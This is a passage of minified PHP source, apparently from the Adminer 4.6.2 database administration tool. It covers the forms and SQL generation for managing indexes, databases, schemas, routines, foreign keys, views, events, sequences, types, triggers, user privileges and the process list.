',script("qs('#form')['defaults'].onclick();".(support("comment")?" editingCommentsClick.call(qs('#form')['comments']);":""));}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$Ed=array("PRIMARY","UNIQUE","INDEX");$S=table_status($a,true);if(preg_match('~MyISAM|M?aria'.(min_version(5.6,'10.0.5')?'|InnoDB':'').'~i',$S["Engine"]))$Ed[]="FULLTEXT";if(preg_match('~MyISAM|M?aria'.(min_version(5.7,'10.2.2')?'|InnoDB':'').'~i',$S["Engine"]))$Ed[]="SPATIAL";$x=indexes($a);$dg=array();if($y=="mongo"){$dg=$x["_id_"];unset($Ed[0]);unset($x["_id_"]);}$K=$_POST;if($_POST&&!$o&&!$_POST["add"]&&!$_POST["drop_col"]){$c=array();foreach($K["indexes"]as$w){$D=$w["name"];if(in_array($w["type"],$Ed)){$e=array();$qe=array();$Xb=array();$P=array();ksort($w["columns"]);foreach($w["columns"]as$z=>$d){if($d!=""){$pe=$w["lengths"][$z];$Wb=$w["descs"][$z];$P[]=idf_escape($d).($pe?"(".(+$pe).")":"").($Wb?" DESC":"");$e[]=$d;$qe[]=($pe?$pe:null);$Xb[]=$Wb;}}if($e){$Dc=$x[$D];if($Dc){ksort($Dc["columns"]);ksort($Dc["lengths"]);ksort($Dc["descs"]);if($w["type"]==$Dc["type"]&&array_values($Dc["columns"])===$e&&(!$Dc["lengths"]||array_values($Dc["lengths"])===$qe)&&array_values($Dc["descs"])===$Xb){unset($x[$D]);continue;}}$c[]=array($w["type"],$D,$P);}}}foreach($x
as$D=>$Dc)$c[]=array($Dc["type"],$D,"DROP");if(!$c)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),lang(176),alter_indexes($a,$c));}page_header(lang(128),$o,array("table"=>$a),h($a));$q=array_keys(fields($a));if($_POST["add"]){foreach($K["indexes"]as$z=>$w){if($w["columns"][count($w["columns"])]!="")$K["indexes"][$z]["columns"][]="";}$w=end($K["indexes"]);if($w["type"]||array_filter($w["columns"],'strlen'))$K["indexes"][]=array("columns"=>array(1=>""));}if(!$K){foreach($x
as$z=>$w){$x[$z]["name"]=$z;$x[$z]["columns"][]="";}$x[]=array("columns"=>array(1=>""));$K["indexes"]=$x;}echo'
<form action="" method="post">
<table cellspacing="0" class="nowrap">
<thead><tr>
<th id="label-type">',lang(177),'<th><input type="submit" class="wayoff">',lang(178),'<th id="label-name">',lang(179);?>
<th><noscript><input type='image' class='icon' name='add[0]' src='" . h(preg_replace("~\\?.*~", "", ME) . "?file=plus.gif&version=4.6.2") . "' alt='+' title='<?php echo
lang(104),'\'></noscript>&nbsp;
</thead>
';if($dg){echo"<tr><td>PRIMARY<td>";foreach($dg["columns"]as$z=>$d){echo
select_input(" disabled",$q,$d),"<label><input disabled type='checkbox'>".lang(57)."</label> ";}echo"<td><td>\n";}$Xd=1;foreach($K["indexes"]as$w){if(!$_POST["drop_col"]||$Xd!=key($_POST["drop_col"])){echo"<tr><td>".html_select("indexes[$Xd][type]",array(-1=>"")+$Ed,$w["type"],($Xd==count($K["indexes"])?"indexesAddRow.call(this);":1),"label-type"),"<td>";ksort($w["columns"]);$t=1;foreach($w["columns"]as$z=>$d){echo"<span>".select_input(" name='indexes[$Xd][columns][$t]' title='".lang(46)."'",($q?array_combine($q,$q):$q),$d,"partial(".($t==count($w["columns"])?"indexesAddColumn":"indexesChangeColumn").", '".js_escape($y=="sql"?"":$_GET["indexes"]."_")."')"),($y=="sql"||$y=="mssql"?"<input type='number' name='indexes[$Xd][lengths][$t]' class='size' value='".h($w["lengths"][$z])."' title='".lang(102)."'>":""),($y!="sql"?checkbox("indexes[$Xd][descs][$t]",1,$w["descs"][$z],lang(57)):"")," </span>";$t++;}echo"<td><input name='indexes[$Xd][name]' value='".h($w["name"])."' autocapitalize='off' aria-labelledby='label-name'>\n","<td><input type='image' class='icon' name='drop_col[$Xd]' src='".h(preg_replace("~\\?.*~","",ME)."?file=cross.gif&version=4.6.2")."' alt='x' title='".lang(107)."'>".script("qsl('input').onclick = partial(editingRemoveRow, 'indexes\$1[type]');");}$Xd++;}echo'</table>
<p>
<input type="submit" value="',lang(14),'">
<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["database"])){$K=$_POST;if($_POST&&!$o&&!isset($_POST["add_x"])){$D=trim($K["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),lang(180),drop_databases(array(DB)));}elseif(DB!==$D){if(DB!=""){$_GET["db"]=$D;queries_redirect(preg_replace('~\bdb=[^&]*&~','',ME)."db=".urlencode($D),lang(181),rename_database($D,$K["collation"]));}else{$l=explode("\n",str_replace("\r","",$D));$Bh=true;$je="";foreach($l
as$m){if(count($l)==1||$m!=""){if(!create_database($m,$K["collation"]))$Bh=false;$je=$m;}}restart_session();set_session("dbs",null);queries_redirect(ME."db=".urlencode($je),lang(182),$Bh);}}else{if(!$K["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($D).(preg_match('~^[a-z0-9_]+$~i',$K["collation"])?" COLLATE $K[collation]":""),substr(ME,0,-1),lang(183));}}page_header(DB!=""?lang(65):lang(111),$o,array(),h(DB));$qb=collations();$D=DB;if($_POST)$D=$K["name"];elseif(DB!="")$K["collation"]=db_collation(DB,$qb);elseif($y=="sql"){foreach(get_vals("SHOW GRANTS")as$kd){if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\\.\\*)?~',$kd,$C)&&$C[1]){$D=stripcslashes(idf_unescape("`$C[2]`"));break;}}}echo'
<form action="" method="post">
<p>
',($_POST["add_x"]||strpos($D,"\n")?'<textarea id="name" name="name" rows="10" cols="40">'.h($D).'</textarea><br>':'<input name="name" id="name" value="'.h($D).'" maxlength="64" autocapitalize="off">')."\n".($qb?html_select("collation",array(""=>"(".lang(97).")")+$qb,$K["collation"]).doc_link(array('sql'=>"charset-charsets.html",'mariadb'=>"supported-character-sets-and-collations/",'mssql'=>"ms187963.aspx",)):""),script("focus(qs('#name'));"),'<input type="submit" value="',lang(14),'">
';if(DB!="")echo"<input type='submit' name='drop' value='".lang(123)."'>".confirm(lang(171,DB))."\n";elseif(!$_POST["add_x"]&&$_GET["db"]=="")echo"<input type='image' class='icon' name='add' src='".h(preg_replace("~\\?.*~","",ME)."?file=plus.gif&version=4.6.2")."' alt='+' title='".lang(104)."'>\n";echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["scheme"])){$K=$_POST;if($_POST&&!$o){$A=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$A,lang(184));else{$D=trim($K["name"]);$A.=urlencode($D);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($D),$A,lang(185));elseif($_GET["ns"]!=$D)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($D),$A,lang(186));else
redirect($A);}}page_header($_GET["ns"]!=""?lang(66):lang(67),$o);if(!$K)$K["name"]=$_GET["ns"];echo'
<form action="" method="post">
<p><input name="name" id="name" value="',h($K["name"]),'" autocapitalize="off">
',script("focus(qs('#name'));"),'<input type="submit" value="',lang(14),'">
';if($_GET["ns"]!="")echo"<input type='submit' name='drop' value='".lang(123)."'>".confirm(lang(171,$_GET["ns"]))."\n";echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["call"])){$da=($_GET["name"]?$_GET["name"]:$_GET["call"]);page_header(lang(187).": ".h($da),$o);$Ng=routine($_GET["call"],(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$Cd=array();$Cf=array();foreach($Ng["fields"]as$t=>$p){if(substr($p["inout"],-3)=="OUT")$Cf[$t]="@".idf_escape($p["field"])." AS ".idf_escape($p["field"]);if(!$p["inout"]||substr($p["inout"],0,2)=="IN")$Cd[]=$t;}if(!$o&&$_POST){$ab=array();foreach($Ng["fields"]as$z=>$p){if(in_array($z,$Cd)){$X=process_input($p);if($X===false)$X="''";if(isset($Cf[$z]))$g->query("SET @".idf_escape($p["field"])." = $X");}$ab[]=(isset($Cf[$z])?"@".idf_escape($p["field"]):$X);}$H=(isset($_GET["callf"])?"SELECT":"CALL")." ".table($da)."(".implode(", ",$ab).")";$vh=microtime(true);$I=$g->multi_query($H);$_a=$g->affected_rows;echo$b->selectQuery($H,$vh,!$I);if(!$I)echo"<p class='error'>".error()."\n";else{$h=connect();if(is_object($h))$h->select_db(DB);do{$I=$g->store_result();if(is_object($I))select($I,$h);else
echo"<p class='message'>".lang(188,$_a)."\n";}while($g->next_result());if($Cf)select($g->query("SELECT ".implode(", ",$Cf)));}}echo'
<form action="" method="post">
';if($Cd){echo"<table cellspacing='0'>\n";foreach($Cd
as$z){$p=$Ng["fields"][$z];$D=$p["field"];echo"<tr><th>".$b->fieldName($p);$Y=$_POST["fields"][$D];if($Y!=""){if($p["type"]=="enum")$Y=+$Y;if($p["type"]=="set")$Y=array_sum($Y);}input($p,$Y,(string)$_POST["function"][$D]);echo"\n";}echo"</table>\n";}echo'<p>
<input type="submit" value="',lang(187),'">
<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];$D=$_GET["name"];$K=$_POST;if($_POST&&!$o&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){$Ge=($_POST["drop"]?lang(189):($D!=""?lang(190):lang(191)));$B=ME."table=".urlencode($a);if(!$_POST["drop"]){$K["source"]=array_filter($K["source"],'strlen');ksort($K["source"]);$Ph=array();foreach($K["source"]as$z=>$X)$Ph[$z]=$K["target"][$z];$K["target"]=$Ph;}if($y=="sqlite")queries_redirect($B,$Ge,recreate_table($a,$a,array(),array(),array(" $D"=>($_POST["drop"]?"":" ".format_foreign_key($K)))));else{$c="ALTER TABLE ".table($a);$fc="\nDROP ".($y=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($D);if($_POST["drop"])query_redirect($c.$fc,$B,$Ge);else{query_redirect($c.($D!=""?"$fc,":"")."\nADD".format_foreign_key($K),$B,$Ge);$o=lang(192)."<br>$o";}}}page_header(lang(193),$o,array("table"=>$a),h($a));if($_POST){ksort($K["source"]);if($_POST["add"])$K["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$K["target"]=array();}elseif($D!=""){$dd=foreign_keys($a);$K=$dd[$D];$K["source"][]="";}else{$K["table"]=$a;$K["source"]=array("");}$nh=array_keys(fields($a));$Ph=($a===$K["table"]?$nh:array_keys(fields($K["table"])));$xg=array_keys(array_filter(table_status('',true),'fk_support'));echo'
<form action="" method="post">
<p>
';if($K["db"]==""&&$K["ns"]==""){echo
lang(194),':
',html_select("table",$xg,$K["table"],"this.form['change-js'].value = '1'; this.form.submit();"),'<input type="hidden" name="change-js" value="">
<noscript><p><input type="submit" name="change" value="',lang(195),'"></noscript>
<table cellspacing="0">
<thead><tr><th id="label-source">',lang(130),'<th id="label-target">',lang(131),'</thead>
';$Xd=0;foreach($K["source"]as$z=>$X){echo"<tr>","<td>".html_select("source[".(+$z)."]",array(-1=>"")+$nh,$X,($Xd==count($K["source"])-1?"foreignAddRow.call(this);":1),"label-source"),"<td>".html_select("target[".(+$z)."]",$Ph,$K["target"][$z],1,"label-target");$Xd++;}echo'</table>
<p>
',lang(99),': ',html_select("on_delete",array(-1=>"")+explode("|",$jf),$K["on_delete"]),' ',lang(98),': ',html_select("on_update",array(-1=>"")+explode("|",$jf),$K["on_update"]),doc_link(array('sql'=>"innodb-foreign-key-constraints.html",'mariadb'=>"foreign-keys/",'pgsql'=>"sql-createtable.html#SQL-CREATETABLE-REFERENCES",'mssql'=>"ms174979.aspx",'oracle'=>"clauses002.htm#sthref2903",)),'<p>
<input type="submit" value="',lang(14),'">
<noscript><p><input type="submit" name="add" value="',lang(196),'"></noscript>
';}if($D!=""){echo'<input type="submit" name="drop" value="',lang(123),'">',confirm(lang(171,$D));}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["view"])){$a=$_GET["view"];$K=$_POST;$_f="VIEW";if($y=="pgsql"&&$a!=""){$xh=table_status($a);$_f=strtoupper($xh["Engine"]);}if($_POST&&!$o){$D=trim($K["name"]);$Ha=" AS\n$K[select]";$B=ME."table=".urlencode($D);$Ge=lang(197);$U=($_POST["materialized"]?"MATERIALIZED VIEW":"VIEW");if(!$_POST["drop"]&&$a==$D&&$y!="sqlite"&&$U=="VIEW"&&$_f=="VIEW")query_redirect(($y=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($D).$Ha,$B,$Ge);else{$Rh=$D."_adminer_".uniqid();drop_create("DROP $_f ".table($a),"CREATE $U ".table($D).$Ha,"DROP $U ".table($D),"CREATE $U ".table($Rh).$Ha,"DROP $U ".table($Rh),($_POST["drop"]?substr(ME,0,-1):$B),lang(198),$Ge,lang(199),$a,$D);}}if(!$_POST&&$a!=""){$K=view($a);$K["name"]=$a;$K["materialized"]=($_f!="VIEW");if(!$o)$o=error();}page_header(($a!=""?lang(41):lang(200)),$o,array("table"=>$a),h($a));echo'
<form action="" method="post">
<p>',lang(179),': <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off">
',(support("materializedview")?" ".checkbox("materialized",1,$K["materialized"],lang(125)):""),'<p>';textarea("select",$K["select"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($a!=""){echo'<input type="submit" name="drop" value="',lang(123),'">',confirm(lang(171,$a));}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$Pd=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$yh=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");$K=$_POST;if($_POST&&!$o){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),lang(201));elseif(in_array($K["INTERVAL_FIELD"],$Pd)&&isset($yh[$K["STATUS"]])){$Sg="\nON SCHEDULE ".($K["INTERVAL_VALUE"]?"EVERY ".q($K["INTERVAL_VALUE"])." $K[INTERVAL_FIELD]".($K["STARTS"]?" STARTS ".q($K["STARTS"]):"").($K["ENDS"]?" ENDS ".q($K["ENDS"]):""):"AT ".q($K["STARTS"]))." ON COMPLETION".($K["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?lang(202):lang(203)),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$Sg.($aa!=$K["EVENT_NAME"]?"\nRENAME TO ".idf_escape($K["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($K["EVENT_NAME"]).$Sg)."\n".$yh[$K["STATUS"]]." COMMENT ".q($K["EVENT_COMMENT"]).rtrim(" DO\n$K[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?lang(204).": ".h($aa):lang(205)),$o);if(!$K&&$aa!=""){$L=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$K=reset($L);}echo'
<form action="" method="post">
<table cellspacing="0">
<tr><th>',lang(179),'<td><input name="EVENT_NAME" value="',h($K["EVENT_NAME"]),'" maxlength="64" autocapitalize="off">
<tr><th title="datetime">',lang(206),'<td><input name="STARTS" value="',h("$K[EXECUTE_AT]$K[STARTS]"),'">
<tr><th title="datetime">',lang(207),'<td><input name="ENDS" value="',h($K["ENDS"]),'">
<tr><th>',lang(208),'<td><input type="number" name="INTERVAL_VALUE" value="',h($K["INTERVAL_VALUE"]),'" class="size"> ',html_select("INTERVAL_FIELD",$Pd,$K["INTERVAL_FIELD"]),'<tr><th>',lang(114),'<td>',html_select("STATUS",$yh,$K["STATUS"]),'<tr><th>',lang(48),'<td><input name="EVENT_COMMENT" value="',h($K["EVENT_COMMENT"]),'" maxlength="64">
<tr><th>&nbsp;<td>',checkbox("ON_COMPLETION","PRESERVE",$K["ON_COMPLETION"]=="PRESERVE",lang(209)),'</table>
<p>';textarea("EVENT_DEFINITION",$K["EVENT_DEFINITION"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($aa!=""){echo'<input type="submit" name="drop" value="',lang(123),'">',confirm(lang(171,$aa));}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["procedure"])){$da=($_GET["name"]?$_GET["name"]:$_GET["procedure"]);$Ng=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$K=$_POST;$K["fields"]=(array)$K["fields"];if($_POST&&!process_fields($K["fields"])&&!$o){$xf=routine($_GET["procedure"],$Ng);$Rh="$K[name]_adminer_".uniqid();drop_create("DROP $Ng ".routine_id($da,$xf),create_routine($Ng,$K),"DROP $Ng ".routine_id($K["name"],$K),create_routine($Ng,array("name"=>$Rh)+$K),"DROP $Ng ".routine_id($Rh,$K),substr(ME,0,-1),lang(210),lang(211),lang(212),$da,$K["name"]);}page_header(($da!=""?(isset($_GET["function"])?lang(213):lang(214)).": ".h($da):(isset($_GET["function"])?lang(215):lang(216))),$o);if(!$_POST&&$da!=""){$K=routine($_GET["procedure"],$Ng);$K["name"]=$da;}$qb=get_vals("SHOW CHARACTER SET");sort($qb);$Og=routine_languages();echo'
<form action="" method="post" id="form">
<p>',lang(179),': <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off">
',($Og?lang(19).": ".html_select("language",$Og,$K["language"])."\n":""),'<input type="submit" value="',lang(14),'">
<table cellspacing="0" class="nowrap">
';edit_fields($K["fields"],$qb,$Ng);if(isset($_GET["function"])){echo"<tr><td>".lang(217);edit_type("returns",$K["returns"],$qb,array(),($y=="pgsql"?array("void","trigger"):array()));}echo'</table>
<p>';textarea("definition",$K["definition"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($da!=""){echo'<input type="submit" name="drop" value="',lang(123),'">',confirm(lang(171,$da));}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["sequence"])){$fa=$_GET["sequence"];$K=$_POST;if($_POST&&!$o){$A=substr(ME,0,-1);$D=trim($K["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($fa),$A,lang(218));elseif($fa=="")query_redirect("CREATE SEQUENCE ".idf_escape($D),$A,lang(219));elseif($fa!=$D)query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($D),$A,lang(220));else
redirect($A);}page_header($fa!=""?lang(221).": ".h($fa):lang(222),$o);if(!$K)$K["name"]=$fa;echo'
<form action="" method="post">
<p><input name="name" value="',h($K["name"]),'" autocapitalize="off">
<input type="submit" value="',lang(14),'">
';if($fa!="")echo"<input type='submit' name='drop' value='".lang(123)."'>".confirm(lang(171,$fa))."\n";echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["type"])){$ga=$_GET["type"];$K=$_POST;if($_POST&&!$o){$A=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ga),$A,lang(223));else
query_redirect("CREATE TYPE ".idf_escape(trim($K["name"]))." $K[as]",$A,lang(224));}page_header($ga!=""?lang(225).": ".h($ga):lang(226),$o);if(!$K)$K["as"]="AS ";echo'
<form action="" method="post">
<p>
';if($ga!="")echo"<input type='submit' name='drop' value='".lang(123)."'>".confirm(lang(171,$ga))."\n";else{echo"<input name='name' value='".h($K['name'])."' autocapitalize='off'>\n";textarea("as",$K["as"]);echo"<p><input type='submit' value='".lang(14)."'>\n";}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$D=$_GET["name"];$ri=trigger_options();$K=(array)trigger($D)+array("Trigger"=>$a."_bi");if($_POST){if(!$o&&in_array($_POST["Timing"],$ri["Timing"])&&in_array($_POST["Event"],$ri["Event"])&&in_array($_POST["Type"],$ri["Type"])){$if=" ON ".table($a);$fc="DROP TRIGGER ".idf_escape($D).($y=="pgsql"?$if:"");$B=ME."table=".urlencode($a);if($_POST["drop"])query_redirect($fc,$B,lang(227));else{if($D!="")queries($fc);queries_redirect($B,($D!=""?lang(228):lang(229)),queries(create_trigger($if,$_POST)));if($D!="")queries(create_trigger($if,$K+array("Type"=>reset($ri["Type"]))));}}$K=$_POST;}page_header(($D!=""?lang(230).": ".h($D):lang(231)),$o,array("table"=>$a));echo'
<form action="" method="post" id="form">
<table cellspacing="0">
<tr><th>',lang(232),'<td>',html_select("Timing",$ri["Timing"],$K["Timing"],"triggerChange(/^".preg_quote($a,"/")."_[ba][iud]$/, '".js_escape($a)."', this.form);"),'<tr><th>',lang(233),'<td>',html_select("Event",$ri["Event"],$K["Event"],"this.form['Timing'].onchange();"),(in_array("UPDATE OF",$ri["Event"])?" <input name='Of' value='".h($K["Of"])."' class='hidden'>":""),'<tr><th>',lang(47),'<td>',html_select("Type",$ri["Type"],$K["Type"]),'</table>
<p>',lang(179),': <input name="Trigger" value="',h($K["Trigger"]),'" maxlength="64" autocapitalize="off">
',script("qs('#form')['Timing'].onchange();"),'<p>';textarea("Statement",$K["Statement"]);echo'<p>
<input type="submit" value="',lang(14),'">
';if($D!=""){echo'<input type="submit" name="drop" value="',lang(123),'">',confirm(lang(171,$D));}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["user"])){$ha=$_GET["user"];$ig=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$K){foreach(explode(",",($K["Privilege"]=="Grant option"?"":$K["Context"]))as$Bb)$ig[$Bb][$K["Privilege"]]=$K["Comment"];}$ig["Server Admin"]+=$ig["File access on server"];$ig["Databases"]["Create routine"]=$ig["Procedures"]["Create routine"];unset($ig["Procedures"]["Create routine"]);$ig["Columns"]=array();foreach(array("Select","Insert","Update","References")as$X)$ig["Columns"][$X]=$ig["Tables"][$X];unset($ig["Server Admin"]["Usage"]);foreach($ig["Tables"]as$z=>$X)unset($ig["Databases"][$z]);$Te=array();if($_POST){foreach($_POST["objects"]as$z=>$X)$Te[$X]=(array)$Te[$X]+(array)$_POST["grants"][$z];}$ld=array();$gf="";if(isset($_GET["host"])&&($I=$g->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))){while($K=$I->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$K[0],$C)&&preg_match_all('~ *([^(,]*[^ ,(])( *\\([^)]+\\))?~',$C[1],$ze,PREG_SET_ORDER)){foreach($ze
as$X){if($X[1]!="USAGE")$ld["$C[2]$X[2]"][$X[1]]=true;if(preg_match('~ WITH GRANT OPTION~',$K[0]))$ld["$C[2]$X[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$K[0],$C))$gf=$C[1];}}if($_POST&&!$o){$hf=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");if($_POST["drop"])query_redirect("DROP USER $hf",ME."privileges=",lang(234));else{$Ve=q($_POST["user"])."@".q($_POST["host"]);$Qf=$_POST["pass"];if($Qf!=''&&!$_POST["hashed"]){$Qf=$g->result("SELECT PASSWORD(".q($Qf).")");$o=!$Qf;}$Gb=false;if(!$o){if($hf!=$Ve){$Gb=queries((min_version(5)?"CREATE USER":"GRANT USAGE ON *.* TO")." $Ve IDENTIFIED BY PASSWORD ".q($Qf));$o=!$Gb;}elseif($Qf!=$gf)queries("SET PASSWORD FOR $Ve = ".q($Qf));}if(!$o){$Kg=array();foreach($Te
as$bf=>$kd){if(isset($_GET["grant"]))$kd=array_filter($kd);$kd=array_keys($kd);if(isset($_GET["grant"]))$Kg=array_diff(array_keys(array_filter($Te[$bf],'strlen')),$kd);elseif($hf==$Ve){$ef=array_keys((array)$ld[$bf]);$Kg=array_diff($ef,$kd);$kd=array_diff($kd,$ef);unset($ld[$bf]);}if(preg_match('~^(.+)\\s*(\\(.*\\))?$~U',$bf,$C)&&(!grant("REVOKE",$Kg,$C[2]," ON $C[1] FROM $Ve")||!grant("GRANT",$kd,$C[2]," ON $C[1] TO $Ve"))){$o=true;break;}}}if(!$o&&isset($_GET["host"])){if($hf!=$Ve)queries("DROP USER $hf");elseif(!isset($_GET["grant"])){foreach($ld
as$bf=>$Kg){if(preg_match('~^(.+)(\\(.*\\))?$~U',$bf,$C))grant("REVOKE",array_keys($Kg),$C[2]," ON $C[1] FROM $Ve");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?lang(235):lang(236)),!$o);if($Gb)$g->query("DROP USER $Ve");}}page_header((isset($_GET["host"])?lang(33).": ".h("$ha@$_GET[host]"):lang(142)),$o,array("privileges"=>array('',lang(69))));if($_POST){$K=$_POST;$ld=$Te;}else{$K=$_GET+array("host"=>$g->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$K["pass"]=$gf;if($gf!="")$K["hashed"]=true;$ld[(DB==""||$ld?"":idf_escape(addcslashes(DB,"%_\\"))).".*"]=array();}echo'<form action="" method="post">
<table cellspacing="0">
<tr><th>',lang(32),'<td><input name="host" maxlength="60" value="',h($K["host"]),'" autocapitalize="off">
<tr><th>',lang(33),'<td><input name="user" maxlength="16" value="',h($K["user"]),'" autocapitalize="off">
<tr><th>',lang(34),'<td><input name="pass" id="pass" value="',h($K["pass"]),'" autocomplete="new-password">
';if(!$K["hashed"])echo
script("typePassword(qs('#pass'));");echo
checkbox("hashed",1,$K["hashed"],lang(237),"typePassword(this.form['pass'], this.checked);"),'</table>

';echo"<table cellspacing='0'>\n","<thead><tr><th colspan='2'>".lang(69).doc_link(array('sql'=>"grant.html#priv_level"));$t=0;foreach($ld
as$bf=>$kd){echo'<th>'.($bf!="*.*"?"<input name='objects[$t]' value='".h($bf)."' size='10' autocapitalize='off'>":"<input type='hidden' name='objects[$t]' value='*.*' size='10'>*.*");$t++;}echo"</thead>\n";foreach(array(""=>"","Server Admin"=>lang(32),"Databases"=>lang(35),"Tables"=>lang(127),"Columns"=>lang(46),"Procedures"=>lang(238),)as$Bb=>$Wb){foreach((array)$ig[$Bb]as$hg=>$vb){echo"<tr".odd()."><td".($Wb?">$Wb<td":" colspan='2'").' lang="en" title="'.h($vb).'">'.h($hg);$t=0;foreach($ld
as$bf=>$kd){$D="'grants[$t][".h(strtoupper($hg))."]'";$Y=$kd[strtoupper($hg)];if($Bb=="Server Admin"&&$bf!=(isset($ld["*.*"])?"*.*":".*"))echo"<td>&nbsp;";elseif(isset($_GET["grant"]))echo"<td><select name=$D><option><option value='1'".($Y?" selected":"").">".lang(239)."<option value='0'".($Y=="0"?" selected":"").">".lang(240)."</select>";else{echo"<td align='center'><label class='block'>","<input type='checkbox' name=$D value='1'".($Y?" checked":"").($hg=="All privileges"?" id='grants-$t-all'>":">".($hg=="Grant option"?"":script("qsl('input').onclick = function () { if (this.checked) formUncheck('grants-$t-all'); };"))),"</label>";}$t++;}}}echo"</table>\n",'<p>
<input type="submit" value="',lang(14),'">
';if(isset($_GET["host"])){echo'<input type="submit" name="drop" value="',lang(123),'">',confirm(lang(171,"$ha@$_GET[host]"));}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
';}elseif(isset($_GET["processlist"])){if(support("kill")&&$_POST&&!$o){$ee=0;foreach((array)$_POST["kill"]as$X){if(kill_process($X))$ee++;}queries_redirect(ME."processlist=",lang(241,$ee),$ee||!$_POST["kill"]);}page_header(lang(112),$o);echo'
<form action="" method="post">
<table cellspacing="0" class="nowrap checkable">
',script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});");$t=-1;foreach(process_list()as$t=>$K){if(!$t){echo"<thead><tr lang='en'>".(support("kill")?"<th>&nbsp;":"");foreach($K
as$z=>$X)echo"<th>$z".doc_link(array('sql'=>"show-processlist.html#processlist_".strtolower($z),'pgsql'=>"monitoring-stats.html#PG-STAT-ACTIVITY-VIEW",'oracle'=>"../b14237/dynviews_2088.htm",));echo"</thead>\n";}echo"<tr".odd().">".(support("kill")?"<td>".checkbox("kill[]",$K[$y=="sql"?"Id":"pid"],0):"");foreach($K
as$z=>$X)echo"<td>".(($y=="sql"&&$z=="Info"&&preg_match("~Query|Killed~",$K["Command"])&&$X!="")||($y=="pgsql"&&$z=="current_query"&&$X!="<IDLE>")||($y=="oracle"&&$z=="sql_text"&&$X!="")?"<code class='jush-$y'>".shorten_utf8($X,100,"</code>").' <a href="'.h(ME.($K["db"]!=""?"db=".urlencode($K["db"])."&":"")."sql=".urlencode($X)).'">'.lang(242).'</a>':nbsp($X));echo"\n";}echo'</table>
<p>
';if(support("kill")){echo($t+1)."/".lang(243,max_connections()),"<p><input type='submit' value='".lang(244)."'>\n";}echo'<input type="hidden" name="token" value="',$gi,'">
</form>
',script("tableCheck();");}elseif(isset($_GET["select"])){$a=$_GET["select"];$S=table_status1($a);$x=indexes($a);$q=fields($a);$dd=column_foreign_keys($a);$df=$S["Oid"];parse_str($_COOKIE["adminer_import"],$za);$Lg=array();$e=array();$Vh=null;foreach($q
